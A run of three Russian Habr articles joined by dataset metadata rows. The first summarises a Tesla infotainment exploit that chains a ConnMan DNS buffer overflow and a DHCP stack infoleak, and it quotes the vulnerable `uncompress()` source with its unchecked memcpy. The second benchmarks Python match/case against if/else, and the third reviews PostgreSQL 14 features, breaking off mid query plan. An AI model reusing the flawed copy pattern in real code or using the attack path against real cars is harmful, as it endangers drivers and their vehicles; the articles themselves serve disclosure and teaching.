Последнюю хакерскую конференцию PWN2OWN 2020 отменили, поэтому авторы только сейчас опубликовали свой доклад по взлому Tesla. Они написали [эксплоит Comsecuris, использующий две уязвимости в демоне ConnMan](https://kunnamon.io/tbone/tbone-v1.0-redacted.pdf). Это стандартный менеджер подключений Linux. В частности, используется переполнение буфера в DNS-форвардере и утечка информации стека (stack infoleak) в компоненте DHCP.
В автомобиле Tesla 3 установлена последняя версия ConnMan 1.37, без уязвимости CVE-2017-12865, которую нашли в версии 1.34. Поэтому пришлось искать новые баги. Здесь повезло: возможность переполнения буфера обнаружилась в функции `uncompress()`.
```
1 static char *uncompress(int16_t field_count, char *start, char *end,
2 char *ptr, char *uncompressed, int uncomp_len,
3 char **uncompressed_ptr)
4 {
5 char *uptr = *uncompressed_ptr; /* position in result buffer */
6
7 debug("count %d ptr %p end %p uptr %p", field_count, ptr, end, uptr);
8
9 while (field_count-- > 0 && ptr < end) {
10 int dlen; /* data field length */
11 int ulen; /* uncompress length */
12 int pos; /* position in compressed string */
13 char name[NS_MAXLABEL]; /* tmp label */
14 uint16_t dns_type, dns_class;
15 int comp_pos;
16
17 if (!convert_label(start, end, ptr, name, NS_MAXLABEL,
18 &pos, ∁_pos))
19 goto out;
20
21 /*
22 * Copy the uncompressed resource record, type, class and \0 to
23 * tmp buffer.
24 */
25
26 ulen = strlen(name);
27 strncpy(uptr, name, uncomp_len - (uptr - uncompressed));
28
29 debug("pos %d ulen %d left %d name %s", pos, ulen,
30 (int)(uncomp_len - (uptr - uncompressed)), uptr);
31
32 uptr += ulen;
33 *uptr++ = '\0';
34
35 ptr += pos;
36
37 /*
38 * We copy also the fixed portion of the result (type, class,
39 * ttl, address length and the address)
40 */
41 memcpy(uptr, ptr, NS_RRFIXEDSZ);
42
43 dns_type = uptr[0] << 8 | uptr[1];
44 dns_class = uptr[2] << 8 | uptr[3];
45
46 if (dns_class != ns_c_in)
47 goto out;
48
49 ptr += NS_RRFIXEDSZ;
50 uptr += NS_RRFIXEDSZ;
```
В строках 27 и 41 функция `memcpy` копирует в буфер `uptr` содержимое памяти фиксированным размером 10 байт (`NS_RRFIXEDSZ`), не проверяя соответствие размера выходного буфера количеству копируемых байт.
В презентации хакеры пояснили, что контроль над демоном ConnMan даёт гораздо больше полномочий, чем другие нерутовые демоны в мультимедийной системе Tesla: он позволяет отключить файрвол, изменить таблицы маршрутизации, загрузить или выгрузить модули ядра (если они не подписаны).
В нашем случае достаточно отключить файрвол — и отправить на компьютер нужные команды. Конечно, управление автомобилем через мультимедийную систему не получишь, но можно отпереть двери, изменить режим ускорения, рулевого управления и другие функции, доступные с панели компьютерного управления под Linux (раньше там стояла Ubuntu).
Обязательные апдейты безопасности
=================================
Автомобили Tesla обладают продвинутой компьютерной системой, а компания платит очень большие деньги (в районе $300 000) за сообщение о таких уязвимостей. На самом деле хакеры успешно взламывают автомобили и других производителей, просто об этом не всегда сообщают широкой публике.
Компания Upstream Security ежегодно публикует отчёт об автомобильных уязвимостях. Последний отчёт [2021 Global Automotive Cybersecurity Report](https://upstream.auto/2021report/) содержит информацию о более 200 инцидентах безопасности с 2010 по 2020 годы.
Вот статистика по векторам атак за эти годы:

Дистанционные взломы сегодня составляют 80% атак, физическое проникновение — 20%. Облачные сервисы — главный вектор.
В июне 2020 года ООН приняла общий регламент безопасности для транспорта: UNECE WP.29 Cybersecurity. В 2021-2022 годы эти регуляции будут рассмотрены в нескольких странах, а в 2023-2024 годах ожидается более широкое принятие по всему миру. Первый регламент называется Cybersecurity and Cybersecurity Management Systems (CSMS). Последнюю версию см. [здесь](https://unece.org/sites/default/files/2021-03/R155e.pdf).
Документ CSMS содержит информацию об угрозах кибербезопасности и перечисляет большое количество уязвимостей и методов атаки. В приложении 5 — **десять страниц с описанием уязвимостей в нескольких категориях**. В первой таблице кратко перечислены шесть типов угроз с различными типами уязвимостей (перечислено 29 штук) и примерами (67 штук).

В следующей таблице обобщены меры по смягчению угроз кибербезопасности внутри и за пределами автомобиля.

Основная дискуссия сейчас ведётся вокруг того, чтобы как можно оперативнее уведомлять о новых уязвимостей — и быстро выпускать патчи, которые отправляются через интернет и мгновенно устанавливаются на все включённые автомобили. Но совершенно ясно, что без срочных критических обновлений в современных автомобилях никак не обойтись…
> Облачные сервисы, бесконтактные ключи по радиопротоколу, порт OBDII, мобильные приложения для управления автомобилем, порты USB и SD, Bluetooth, Wi-Fi, встроенный модем, сенсоры, многочисленные соединения через телематические системы и облачные сервисы, которые работают в автомобиле, встроенная мультимедийная система с компьютером в салоне. Это слишком большая поверхность атаки…
>
>
>
> Вероятно, в будущем такие «удобства» войдут в стандартное оснащение всех автомобилей.
P. S. Компания GlobalSign уже [25 лет выдаёт сертификаты безопасности](https://www.globalsign.com/en/lp/globalsign-25th-anniversary) для различных отраслей. Посмотрите нашу интерактивную страничку, посвященную 25-летнему юбилею. | https://habr.com/ru/post/559054/ | null | ru | null |
# Match/case vs If/else. Сравниванием скорость работы операторов в Python 3.10
Прошло уже достаточно времени с момента релиза Python версии 3.10. Самым главным и самым ожидаемым было введение оператора match/case (он же pattern matching).
Однако далеко не всем разработчикам из нашего комьюнити зашел данный оператор. Свидетельствуют этому даже комментарии под статьями на хабре ([статья 1](https://habr.com/ru/post/585216/), [статья 2](https://habr.com/ru/post/585518/)), которые были посвящены match/case.
На мой взгляд, новый оператор упрощает жизнь разработчикам, принимая на себя работу с проверкой типов данных или принадлежностью определенному классу. Но, как мы все знаем, зачастую за крутые фичи, введенные в язык, программисту приходится платить. В данной статье я хотел бы осветить тему производительности оператора match/case и сравнить его с обычным if/else.
### Начинаем
Самый обыденный пример, когда приходится плодить переборы if/else - это необходимость сравнить переменную с какими-либо значениями. Создадим функцию для генерации случайных тестовых данных:
```
import random as rnd
def create_rnd_data():
words = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0,
'здесь', 'дом', 'да', 'потому', 'сторона',
'какой-то', 'думать', 'сделать', 'страна',
'жить', 'чем', 'мир', 'об', 'последний', 'случай',
'голова', 'более', 'делать', 'что-то', 'смотреть',
'ребенок', 'просто', 'конечно', 'сила', 'российский',
'конец', 'перед', 'несколько']
data = rnd.choices(words, k=500000)
return data
```
Создадим несколько простых проверок данных, получаемых в функции `create_rnd_data:`
```
# простые проверки данных при помощи if/else
def test_if(data):
for word in data:
if word in ['дом', 'думать', 'что-то', 'просто']:
pass
elif isinstance(word, int):
pass
elif isinstance(word, str) and len(word) > 3:
pass
elif isinstance(word, str) and word.startswith("д"):
pass
else:
pass
# те же проверки при помощи match/case
def test_match(data):
for word in data:
match word:
case 'дом'|'думать'|'что-то'|'просто':
pass
case int(word):
pass
case str(word) if len(word) > 3:
pass
case str(word) if word.startswith("д"):
pass
case _:
pass
```
Самое интересное: при помощи модуля timeit проверим время, за которое в среднем будет выполняться каждая функция. Проведём 1000 испытаний каждой функции:
```
import timeit
# создаем случайные данные для теста
test_data = create_rnd_data()
# количество повторений
repeats = 1000
# считаем результаты
time_repeat_if = timeit.timeit("test_if(test_data)",
setup="from __main__ import test_if, test_data",
number=repeats)
time_repeat_match = timeit.timeit("test_match(test_data)",
setup="from __main__ import test_match, test_data",
number=repeats)
print("РЕЗУЛЬТАТ IF/ELSE: ", time_repeat_if/repeats)
print("РЕЗУЛЬТАТ MATCH/CASE:", time_repeat_match/repeats)
>>> РЕЗУЛЬТАТ IF/ELSE: 0.1284590820000085
>>> РЕЗУЛЬТАТ MATCH/CASE: 0.4847222329999931
```
Зачем делаются проверки isinstance в if/else?Так как в match/case проверка типов данных происходит при помощи int, str, чтобы все проверки в if/else были эквиваленты проверкам match/case, то взамен str, int делаются проверки isinstance(..., str/int). Так же необходимо учитывать, что Python - язык с динамической типизацией, и не всегда есть гарантия того, что данные в списке будут четко того типа, который вы ожидаете.
Хммм… В 3.8 раза скорость выполнения match/case оказалась медленнее, чем скорость if/else. Но не будем загадывать наперед, может быть, match/case окажется быстрее при работе с более сложными структурами, например, при проверке словарей.
Создадим некоторый список словарей:
```
def create_rnd_data():
names = ["phone", "TV", "PC", "car", "home", "case", "bird", "chicken",
"dish", "float", "C++", "data", ""]
prices = [500, 100, 1400, 2000, 750, 3500, 5000, 120, 50, 4200]
goods = []
for i in range(500000):
name = names[i%len(names)]
price = prices[i%len(prices)]
goods.append({"name": name, "price": price})
return goods
```
Проверим, как поведут себя if/else и match/case при работе со словарями:
```
import timeit
def test_if(data):
for element in data:
if element.get("name") in ["phone", "TV"] and isinstance(element.get("price"), int) and element.get("price") > 2000:
pass
elif element.get("name") == "case" and isinstance(element.get("price"), int) and element.get("price") <= 750:
pass
elif element.get("name") == "case" and isinstance(element.get("price"), int) and element.get("price") == 750:
pass
elif isinstance(element.get("name"), str) and element.get("name"):
pass
elif isinstance(element.get("price"), int) and element.get("price") > 1000:
pass
else:
pass
def test_match(data):
for element in data:
match element:
case {"name": "phone"|"TV", "price": int(price)} if price > 2000:
pass
case {"name": "case", "price": int(price)} if price <= 750:
pass
case {"name": "case", "price": 750}:
pass
case {"name": str(name), "price": _} if name:
pass
case {"name": _, "price": int(price)} if price > 1000:
pass
case _:
pass
# создаем случайные данные для теста
test_data = create_rnd_data()
# количество повторений
repeats = 1000
# считаем результаты
time_repeat_if = timeit.timeit("test_if(test_data)",
setup="from __main__ import test_if, test_data",
number=repeats)
time_repeat_match = timeit.timeit("test_match(test_data)",
setup="from __main__ import test_match, test_data",
number=repeats)
print("РЕЗУЛЬТАТ IF/ELSE: ", time_repeat_if/repeats)
print("РЕЗУЛЬТАТ MATCH/CASE:", time_repeat_match/repeats)
>>> РЕЗУЛЬТАТ IF/ELSE: 0.25263675300000616
>>>РЕЗУЛЬТАТ MATCH/CASE: 1.2811748609999996
```
В 5 раз оператор match/case уступил по скорости if/else. Рано делать выводы, проверим работу с еще более сложными структурами, например, создадим свой класс и выполним те же проверки:
```
import timeit
# создаем случайные данные
class Goods:
__match_args__= ('name', 'price')
def __init__(self, name, price):
self.name = name
self.price = price
names = ["phone", "TV", "PC", "car", "home", "case", "bird", "chicken",
"dish", "float", "C++", "data", ""]
prices = [500, 100, 1400, 2000, 750, 3500, 5000, 120, 50, 4200]
goods = []
for i in range(500000):
name = names[i%len(names)]
price = prices[i%len(prices)]
goods.append(Goods(name=name, price=price))
# функции-проверки
def test_if(data):
for element in data:
if isinstance(element, Goods):
if element.name in ["phone", "TV"] and isinstance(element.price, int) and element.price > 2000:
pass
elif element.name == "case" and isinstance(element.price, int) and element.price <= 750:
pass
elif element.name == "case" and isinstance(element.price, int) and element.price == 750:
pass
elif element.name:
pass
elif isinstance(element.price, int) and element.price > 1000:
pass
else:
pass
def test_match(data):
for element in data:
match element:
case Goods("phone"|"TV" as name, int(price)) if price > 2000:
pass
case Goods(name="case", price=int(price)) if price <= 750:
pass
case Goods(name="case", price=750):
pass
case Goods(str(name), _) if name:
pass
case Goods(_, price) if price > 1000:
pass
case _:
pass
# случайные данные для теста
test_data = goods
# количество повторений
repeats = 1000
# считаем результаты
time_repeat_if = timeit.timeit("test_if(test_data)",
setup="from __main__ import test_if, test_data",
number=repeats)
time_repeat_match = timeit.timeit("test_match(test_data)",
setup="from __main__ import test_match, test_data",
number=repeats)
print("РЕЗУЛЬТАТ IF/ELSE: ", time_repeat_if/repeats)
print("РЕЗУЛЬТАТ MATCH/CASE:", time_repeat_match/repeats)
>>> РЕЗУЛЬТАТ IF/ELSE: 0.17162651800001186
>>> РЕЗУЛЬТАТ MATCH/CASE: 1.2821951220000118
```
В 7.5 раз...
Вывод
-----
Я не стал проверять оператор match/case на списках, кортежах, множествах и других структурах, не стал нагружать сложными условиями, так как, думаю, очевидно можно сделать пару выводов:
1. Если вы занимаетесь каким-либо вычислениями на Python, или в вашем приложении много циклов/много проверок - **НЕ** стоит использовать оператор match/case, так как он может замедлить выполнение кода в несколько раз;
2. Если в приложении есть проверки на формы ввода, либо проверки if/else слишком большие, но проверки выполняются не очень часто (например, при клике пользователя на кнопку), то оператор match/case может стать хорошей альтернативой if/else, так как он сочетает в себе много хороший функций (см предыдущие статьи во введении);
3. Будем надеяться и ждать оптимизацию match/case, так как версия Python 3.10 молодая и вышла только месяц назад. | https://habr.com/ru/post/592089/ | null | ru | null |
# PostgreSQL 14: Часть 5 или «весенние заморозки» (Коммитфест 2021-03)
8 апреля 2021 г. в 15:00 по московскому времени закончился мартовский коммитфест, а вместе с ним и прием изменений в PostgreSQL 14.
Напомню, что всё самое интересное о первых четырех коммитфестах можно найти в предыдущих статьях серии: [июльский](https://habr.com/ru/company/postgrespro/blog/510124/), [сентябрьский](https://habr.com/ru/company/postgrespro/blog/522428/), [ноябрьский](https://habr.com/ru/company/postgrespro/blog/533058/), [январский](https://habr.com/ru/company/postgrespro/blog/541252/).
В этой пойдет речь о последнем, мартовском. Заранее предупреждаю, что статья получилась огромная. Но плохо ли это? Чем длиннее список новых возможностей, тем лучше PostgreSQL 14! Это с одной стороны. А с другой, вовсе не обязательно читать всё подряд от начала и до конца. Текст состоит из описания патчей. В любом месте можно остановиться, с любого места можно начать.
А почитать есть о чем. Не верите? Вопросы на засыпку:
* Может ли один запрос параллельно выполняться на разных серверах?
* Как найти запрос из pg\_stat\_activity в pg\_stat\_statements?
* Можно ли добавлять и удалять секции секционированной таблицы не останавливая приложение?
* Как пустить разработчиков на прод чтобы они могли всё видеть, но ничего не могли изменить?
* Почему VACUUM после COPY FREEZE заново переписывает всю таблицу и что с этим делать?
* Можно ли сжимать TOAST чем-то кроме медленного zlib?
* Как понять сколько времени длится блокировка найденная в pg\_locks?
* Для чего нужны CYCLE и SEARCH рекурсивному запросу?
* Текст функций на каких языках (кроме C) не интерпретируется при вызове?
Приступим.
Мониторинг
----------
**[Единый идентификатор запроса в ядре и модулях](https://commitfest.postgresql.org/32/2069/)**
commit: [5fd9dfa5](https://github.com/postgres/postgres/commit/5fd9dfa5), [4f0b0966](https://github.com/postgres/postgres/commit/4f0b0966)
Как же всё-таки соединить pg\_stat\_activity и pg\_stat\_statements? Так ведь элементарно:
```
SELECT a.*, s.*
FROM pg_stat_activity a
JOIN pg_stat_statements s USING (queryid);
```
А теперь по порядку. Расширение pg\_stat\_statements уже давно вычисляет идентификатор запроса и сохраняет его в столбце queryid. Однако pg\_stat\_statements всё-таки расширение, а не функциональность ядра, да и алгоритм вычисления хеша для идентификатора запроса не был идеальным. В общем попытки добавить аналогичный столбец в pg\_stat\_activity до поры до времени срывались.
И вот случилось. Вычисление идентификатора перенесли в ядро. Однако по умолчанию pg\_stat\_statements будет по-прежнему вычислять свой идентификатор.
Но стоит только включить новый параметр *compute\_query\_id*, как pg\_stat\_statements переходит на использование серверного идентификатора, а в pg\_stat\_activity новый столбец queryid начинает формироваться тем же алгоритмом:
```
SHOW compute_query_id;
```
```
compute_query_id
------------------
off
```
Найдем запрос в pg\_stat\_activity:
```
SELECT queryid,query
FROM pg_stat_activity
WHERE pid=pg_backend_pid();
```
```
queryid | query
---------+-----------------------------
| SELECT queryid,query +
| FROM pg_stat_activity +
| WHERE pid=pg_backend_pid();
```
А теперь включим *compute\_query\_id* и посмотрим еще раз. Суперпользователь может включить параметр для своего сеанса:
```
SET compute_query_id=on;
SELECT queryid,query
FROM pg_stat_activity
WHERE pid=pg_backend_pid();
```
```
queryid | query
---------------------+-----------------------------
5840773237036126161 | SELECT queryid,query +
| FROM pg_stat_activity +
| WHERE pid=pg_backend_pid();
```
Идентификатор запроса появился. Что же ему соответствует в pg\_stat\_statements?
```
SELECT queryid, query
FROM pg_stat_statements
WHERE queryid = 5840773237036126161\gx
```
```
-[ RECORD 1 ]-------------------------------------------------------------
queryid | 5840773237036126161
query | SELECT queryid,query FROM pg_stat_activity WHERE pid=pg_backend_pid()
```
Конечно, тот же самый запрос. Так что два этих представления можно смело соединять по queryid.
Разработчики других полезных расширений, которым также нужен идентификатор запроса, теперь могут использовать единый, выдаваемый сервером. Это круто!
Кстати, увидеть идентификатор можно в плане запроса:
```
EXPLAIN (VERBOSE, COSTS OFF) SELECT queryid,query
FROM pg_stat_activity
WHERE pid=pg_backend_pid();
```
```
QUERY PLAN
------------------------------------------------------
Function Scan on pg_catalog.pg_stat_get_activity s
Output: s.queryid, s.query
Function Call: pg_stat_get_activity(NULL::integer)
Filter: (s.pid = pg_backend_pid())
Query Identifier: 5840773237036126161
```
И, наконец, идентификатор можно добавить в журнал сервера. Для этого появилась новая спецпоследовательность %Q в *log\_line\_prefix*.
Есть много нюансов от которых зависит стабильность вычисляемого идентификатора. Для команд DML хеш вычисляется уже после этапа разбора, для остальных (служебных) команд по текстовому представлению. Соответственно для команд DML хеш зависит от идентификаторов объектов, а не от названий. Например, если выполнить одну и ту же команду дважды, но между выполнениями удалить и заново создать таблицу участвующую в запросе, то получатся два разных идентификатора запроса.
Подробнее о вычислении идентификатора запроса можно прочитать в [документации](https://www.postgresql.org/docs/devel/pgstatstatements.html) на pg\_stat\_statements.
**[pg\_stat\_statements: toplevel](https://commitfest.postgresql.org/32/2896/)**
commit: [6b4d23fe](https://github.com/postgres/postgres/commit/6b4d23fe)
После установки pg\_stat\_statements.track = 'all' статистика начинает собираться и по вложенным запросам. Однако при анализе бывает полезно знать, является ли запрос верхнеуровневым или он вызывался из какой-то функции.
Новый столбец toplevel отвечает на этот вопрос:
```
CREATE TABLE t ();
SELECT pg_stat_statements_reset();
SET pg_stat_statements.track = 'all';
TRUNCATE t;
DO 'BEGIN TRUNCATE t; END;';
SELECT query, toplevel, calls
FROM pg_stat_statements
WHERE query LIKE '%TRUNCATE%';
```
```
query | toplevel | calls
-----------------------------+----------+-------
TRUNCATE t | f | 1
DO 'BEGIN TRUNCATE t; END;' | t | 1
TRUNCATE t | t | 1
```
**[pg\_stat\_wal: статистика по записи и синхронизации с диском](https://commitfest.postgresql.org/32/2859/)**
commit: [ff99918c](https://github.com/postgres/postgres/commit/ff99918c)
Еще одно [новое](https://habr.com/ru/company/postgrespro/blog/533058/#commit_8d9a9359) для 14 версии представление pg\_stat\_wal обрастает функционалом.
Сбросим текущую статистику (SELECT pg\_stat\_reset\_shared('wal')), включим новый параметр *track\_wal\_io\_timing* и загрузим [демо-базу](https://postgrespro.ru/education/demodb) большого размера. Теперь смотрим в представление:
```
SELECT * FROM pg_stat_wal\gx
```
```
-[ RECORD 1 ]----+------------------------------
wal_records | 756763
wal_fpi | 455817
wal_bytes | 4719435190
wal_buffers_full | 159387
wal_write | 163909
wal_sync | 4186
wal_write_time | 3211.339
wal_sync_time | 118864.601
stats_reset | 2021-04-12 12:50:30.878238+03
```
Интересуют последние столбцы. wal\_write\_time и wal\_sync\_time показывают, сколько времени было затрачено на запись буферов WAL на диск и синхронизацию с диском (fsync). А столбцы wal\_write и wal\_sync ― это счетчики: сколько раз буферы WAL сбрасывались на диск и сколько раз выполнялась синхронизация (fsync).
Счетчики будут накручиваться и при выключенном *track\_wal\_io\_timing*. Включение параметра влияет только на wal\_write\_time и wal\_sync\_time. На некоторых платформах это может быть очень затратным, поэтому по умолчанию параметр отключен.
**[Ускорение сбора статистики и улучшения в протоколировании работы автоматической очистки](https://commitfest.postgresql.org/32/2799/)**
commit: [c6fc50cb](https://github.com/postgres/postgres/commit/c6fc50cb), [94d13d47](https://github.com/postgres/postgres/commit/94d13d47)
ANALYZE будет работать быстрее на системах, поддерживающих posix\_fadvise, например linux. Вызов posix\_fadvise подсказывает операционной системе, какие файлы будут прочитаны в ближайшее время, а это дает возможность их предварительно загрузить в оперативную память.
Кроме того (второй коммит), при включенном журналировании работы автоматической очистки в журнал будет записываться информации о вводе/выводе (если дополнительно включен *track\_io\_timing*). А для автоанализа вывод дополнили той же информацией, что выводилась и для автоочистки:
```
2021-03-30 16:32:00.534 MSK [28993] LOG: automatic analyze of table "demo.bookings.bookings"
buffer usage: 10423 hits, 16704 misses, 5 dirtied
avg read rate: 138.978 MB/s, avg write rate: 0.042 MB/s
I/O Timings: read=58.504 write=0.175
system usage: CPU: user: 0.41 s, system: 0.05 s, elapsed: 0.93 s
```
В предыдущих версиях записывалась только строка system usage.
**[log\_connections: информации о подключившемся внешнем пользователе](https://commitfest.postgresql.org/32/2978/)**
commit: [9afffcb8](https://github.com/postgres/postgres/commit/9afffcb8)
При использовании некоторых методов аутентификации внешнее имя пользователя может не совпадает с именем пользователя в PostgreSQL. А бывает полезно знать, кто именно подключился, например, под postgres.
Если включить *log\_connections*, то в журнал сервера будет записываться вся необходимая информация.
Для примера настроим peer-аутентификацию так, чтобы пользователь ОС pluzanov подключался как postgres:
pg\_hba.conf
```
local all all peer map=m1
```
pg\_ident.conf
```
m1 pluzanov postgres
```
Включаем *log\_connections* и после подключения смотрим в журнал сервера:
```
LOG: connection received: host=[local]
LOG: connection authenticated: identity="pluzanov" method=peer (/home/pluzanov/pg14/data/pg_hba.conf:84)
LOG: connection authorized: user=postgres database=postgres application_name=psql
```
**[Анализ использования памяти произвольного серверного процесса](https://commitfest.postgresql.org/32/2711/)**
commit: [43620e32](https://github.com/postgres/postgres/commit/43620e32)
О том, что в 14 версии появится представление pg\_backend\_memory\_contexts, уже [говорилось](https://habr.com/ru/company/postgrespro/blog/522428/#commit_3e98c0ba) в статье о сентябрьском коммитфесте. Представление показывает, на что расходуется память серверного процесса, к которому мы подключены.
Для примера выведем только первую итоговую строку:
```
SELECT * FROM pg_backend_memory_contexts LIMIT 1 \gx
```
```
-[ RECORD 1 ]-+-----------------
name | TopMemoryContext
ident |
parent |
level | 0
total_bytes | 80776
total_nblocks | 6
free_bytes | 11984
free_chunks | 12
used_bytes | 68792
```
Однако для целей отладки администратору важно получать такую информацию не о своем процессе, а о процессе, в котором возникли проблемы. Вызов новой функции pg\_log\_backend\_memory\_contexts с номером нужного процесса, заставит указанный процесс при первой же возможности сбросить в журнал сервера информацию об используемых контекстах памяти.
Из второго сеанса суперпользователя выполняем:
```
SELECT pg_log_backend_memory_contexts(3003);
```
Теперь в журнале можно найти соответствующие строки:
```
LOG: logging memory contexts of PID 3003
LOG: level: 0; TopMemoryContext: 80776 total in 6 blocks; 14784 free (19 chunks); 65992 used
...
```
Запись в журнал ограничена первой сотней строк.
В дальнейшем планируется добавить функцию, которой можно будет передавать номер процесса и получать результат запросом. Но на текущий момент остались нерешенные вопросы реализации такого подхода.
**[pg\_locks.waitstart ― момент начала ожидания блокировки](https://commitfest.postgresql.org/32/2883/)**
commit: [46d6e5f5](https://github.com/postgres/postgres/commit/46d6e5f5), [f05ed5a5](https://github.com/postgres/postgres/commit/f05ed5a5)
В представлении pg\_locks новый столбец ― waitstart. Для строк, ожидающих получения блокировки (granted=false), показывает, с какого момента времени началось ожидание.
Первый сеанс блокирует таблицу:
```
BEGIN;
LOCK TABLE tickets;
```
Второй сеанс пытается выполнить запрос к этой же таблице и «повисает»:
```
SELECT * FROM tickets LIMIT 1;
```
Администратор нехитрыми вычислениями может посмотреть, сколько времени длится эта блокировка:
```
SELECT *, now()-waitstart AS wait_time
FROM pg_locks
WHERE NOT granted\gx
```
```
-[ RECORD 1 ]------+------------------------------
locktype | relation
database | 16384
relation | 16439
page |
tuple |
virtualxid |
transactionid |
classid |
objid |
objsubid |
virtualtransaction | 5/31
pid | 8525
mode | AccessShareLock
granted | f
fastpath | f
waitstart | 2021-02-25 12:21:53.236232+03
wait_time | 00:00:03.106643
```
Стоит учитывать, что на короткое время после начала ожидания значение waitstart может оставаться незаполненным, поэтому вполне возможна ситуация, когда для строк в pg\_locks с granted=false момент начала ожидания не указан.
**[Улучшения в pg\_stat\_progress\_copy](https://commitfest.postgresql.org/32/2977/)**
commit: [9d2d4570](https://github.com/postgres/postgres/commit/9d2d4570)
Представление pg\_stat\_progress\_copy появилось в [январском коммитфесте](https://habr.com/ru/company/postgrespro/blog/541252/#commit_8a4f618e), теперь пришла пора тонкой настройки. В представление добавили информацию о том, загружаются или выгружаются данные, откуда или куда (файл, программа, стандартный ввод/вывод), количество отфильтрованных фразой WHERE записей.
Предположим, что мы хотим создать отдельную таблицу с рейсами только из Краснодара.
```
CREATE TABLE flights_krr (LIKE flights);
```
Заполнять её будем из предварительно выгруженной информации о всех рейсах.
```
COPY flights TO '/home/pluzanov/pg14/flights.txt';
```
Таблица flights небольшая, поэтому чтобы смотреть на ход выполнения загрузки сознательно замедлим вставку:
```
CREATE FUNCTION slow_ins() RETURNS TRIGGER AS $$
BEGIN
PERFORM pg_sleep(0.1);
RETURN NEW;
END;$$ LANGUAGE plpgsql;
CREATE TRIGGER flights_krr_slow_ins
BEFORE INSERT ON flights_krr
FOR EACH ROW EXECUTE FUNCTION slow_ins();
```
Загружаем данные только по Краснодару:
```
COPY flights_krr FROM '/home/pluzanov/pg14/flights.txt'
WHERE departure_airport = 'KRR';
```
Теперь, не торопясь, в другом сеансе можно следить за ходом выполнения:
```
SELECT * FROM pg_stat_progress_copy\gx
```
```
-[ RECORD 1 ]----+----------
pid | 29657
datid | 16384
datname | demo
relid | 16720
command | COPY FROM
type | FILE
bytes_processed | 19333118
bytes_total | 26338755
tuples_processed | 1385
tuples_excluded | 156235
```
Названия столбцов говорят сами за себя, подробнее с ними можно познакомиться в [документации](https://www.postgresql.org/docs/devel/progress-reporting.html#COPY-PROGRESS-REPORTING).
Индексы
-------
**[Индексы BRIN: новые классы операторов bloom и multi-minmax](https://commitfest.postgresql.org/32/2523/)**
commit: [ab596105](https://github.com/postgres/postgres/commit/ab596105), [77b88cd1](https://github.com/postgres/postgres/commit/77b88cd1), [a681e3c1](https://github.com/postgres/postgres/commit/a681e3c1)
У [Егора Рогова](https://habr.com/ru/users/erogov/) есть прекрасная серия статей об индексах в PostgreSQL. В том числе про [BRIN](https://habr.com/ru/company/postgrespro/blog/346460/) и [Bloom](https://habr.com/ru/company/postgrespro/blog/349224/). Егор согласился написать об этой серии патчей, посвященных индексам BRIN. Ему и слово.
Метод доступа BRIN предназначен для таблиц очень большого размера и удобен тем, что позволяет ускорять поиск, имея весьма компактные размеры. Достигается это тем, что вся таблица разбивается на последовательные зоны некого (настраиваемого) размера, а индекс хранит лишь сводную информацию о зонах. Найдя в индексе зоны, в которых *могут* располагаться интересующие значения, необходимо просмотреть *все* страницы этих зон, индекс не хранит ссылок на конкретные табличные строки. Это больше похоже на ускорение Seq Scan, чем на традиционный индексный доступ, но выигрыш по размеру может того стоить.
BRIN изначально обладал классами операторов двух типов: minmax и inclusive. Классы minmax сохраняют информацию о минимальном и максимальном значении внутри зоны, а inclusive — об ограничивающем прямоугольнике (для типов данных, к которым не применимы операции сравнения).
Теперь этот метод пополнился двумя новыми типами: bloom и minmax\_multi. Рассмотрим по порядку.
Для демонстрации будет использоваться пример, начатый в статье об индексах [BRIN](https://habr.com/ru/company/postgrespro/blog/346460/) (рекомендую освежить в памяти): небольшое хранилище, построенное на данных демобазы.
**Bloom**
Традиционные классы операторов BRIN предполагают, что значения в проиндексированном столбце коррелированы с физическим расположением на диске. Иными словами, внутри одной зоны должен содержаться небольшой диапазон значений (в случае minmax) или значения должны лежать «кучно» (в случае inclusive).
Очевидно, что это не всегда так. Например, в нашем хранилище значения столбца passenger\_name физически расположены совершенно случайно.
Идея bloom состоит в том, чтобы для каждой зоны вычислять и хранить [фильтр Блума](https://ru.wikipedia.org/wiki/%D0%A4%D0%B8%D0%BB%D1%8C%D1%82%D1%80_%D0%91%D0%BB%D1%83%D0%BC%D0%B0) для входящих в нее значений. Фильтр позволяет определить зоны, в которых *может* находиться искомое значение (здесь возможно ложноположительное срабатывание, как, впрочем, и в случае minmax). Очевидно, что классы операторов такого типа могут работать только с поиском по равенству.
Таким образом снимается ограничение на «однородность» зон. Конечно, по-прежнему важно, чтобы отдельные значения были локализованы в таблице (иначе придется перебирать все или почти все зоны).
На примере поиска данных по имени пассажира:
```
EXPLAIN (analyze, costs off, timing off)
SELECT * FROM flights_bi
WHERE passenger_name = 'ALEFTINA EFREMOVA';
```
```
QUERY PLAN
--------------------------------------------------------
Seq Scan on flights_bi (actual rows=28 loops=1)
Filter: (passenger_name = 'ALEFTINA EFREMOVA'::text)
Rows Removed by Filter: 30517048
Planning Time: 0.063 ms
Execution Time: 16559.124 ms
```
```
CREATE INDEX ON flights_bi USING brin(passenger_name text_bloom_ops);
EXPLAIN (analyze, costs off, timing off)
SELECT * FROM flights_bi
WHERE passenger_name = 'ALEFTINA EFREMOVA';
```
```
QUERY PLAN
--------------------------------------------------------------
Bitmap Heap Scan on flights_bi (actual rows=28 loops=1)
Recheck Cond: (passenger_name = 'ALEFTINA EFREMOVA'::text)
Rows Removed by Index Recheck: 325426
Heap Blocks: lossy=5632
-> Bitmap Index Scan on flights_bi_passenger_name_idx
(actual rows=56320 loops=1)
Index Cond: (passenger_name = 'ALEFTINA EFREMOVA'::text)
Planning Time: 0.077 ms
Execution Time: 83.796 ms
```
Конечно, хеш-индекс или B-дерево ускорят поиск еще лучше, но BRIN-индекс занимает всего 32 Мбайта, в то время как хеш-индекс — около 200 Мбайт, а B-дерево — больше гигабайта.
**minmax\_multi**
Этот тип классов операторов похож на традиционный minmax, но хранит для каждой зоны не один интервал, а список из нескольких интервалов. Это позволяет индексу нормально работать в случае, когда значения внутри зоны в целом близки, но попадают в несколько различных диапазонов. Например, это может происходить при обновлении данных, которые изначально хорошо коррелировали с физическим расположением, из-за перестановки версий строк внутри страниц.
Вот пример. BRIN-индекс хорошо работает для времени вылета, поскольку данные физически упорядочены именно по дате:
```
CREATE INDEX ON flights_bi USING brin(scheduled_time);
\set d 'bookings.now()::date - interval \'7 days\''
EXPLAIN (analyze, costs off, timing off)
SELECT * FROM flights_bi
WHERE scheduled_time >= :d AND scheduled_time < :d + interval '1 day';
```
```
QUERY PLAN
------------------------------------------------------------
Bitmap Heap Scan on flights_bi (actual rows=83954 loops=1)
Recheck Cond: ...
